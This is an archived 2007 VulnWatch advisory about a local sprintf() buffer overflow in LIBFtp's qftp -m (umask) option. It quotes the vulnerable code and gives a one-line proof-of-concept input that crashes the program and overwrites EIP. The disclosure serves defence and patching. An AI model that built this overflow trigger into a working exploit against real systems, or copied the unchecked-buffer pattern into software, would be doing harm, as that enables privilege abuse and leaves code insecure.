Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | [VulnWatch] QFTP (LIBFtp 3.1-1) (command line) sprintf() local buffer overflow |
|---|---|
| Date: | Thu, 15 Mar 2007 19:28:21 +0100 |
http://nbpfaus.net/~pfau/ftplib/
qftp is a utility that performs file transfers using ftplib based on instructions presented on the command line.
Description
buffer overflow in sprintf(), set_umask don't check sizelen of passed argument.
Source error
in main(): 337: case 'm' : set_umask(optarg); break; .. void set_umask(char *m) { char buf[80]; sprintf(buf,"umask %s", m); ftp_connect(); FtpSite(buf, conn); }
POC
$ gcc ftplib.c getopt.c qftp.c -o ftpsend $ ftpsend localhost -l login -p passwd -m `perl -e "print 'a'x90"` Segmentation fault
# eip addr: $1 = (void *) 0x61616161
-- ~ starcadi
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | [Full-disclosure] iDefense Security Advisory 03.15.07: Horde Project Cleanup Script Arbitrary File Deletion Vulnerability, iDefense Labs |
|---|---|
| Next by Date: | [VulnWatch] LIBFtp 5.0 (sprintf(), strcpy()) Multiple local buffer overflow, starcadi starcadi |
| Previous by Thread: | [Full-disclosure] iDefense Security Advisory 03.15.07: Horde Project Cleanup Script Arbitrary File Deletion Vulnerability, iDefense Labs |
| Next by Thread: | [VulnWatch] LIBFtp 5.0 (sprintf(), strcpy()) Multiple local buffer overflow, starcadi starcadi |
| Indexes: | [Date] [Thread] [Top] [All Lists] |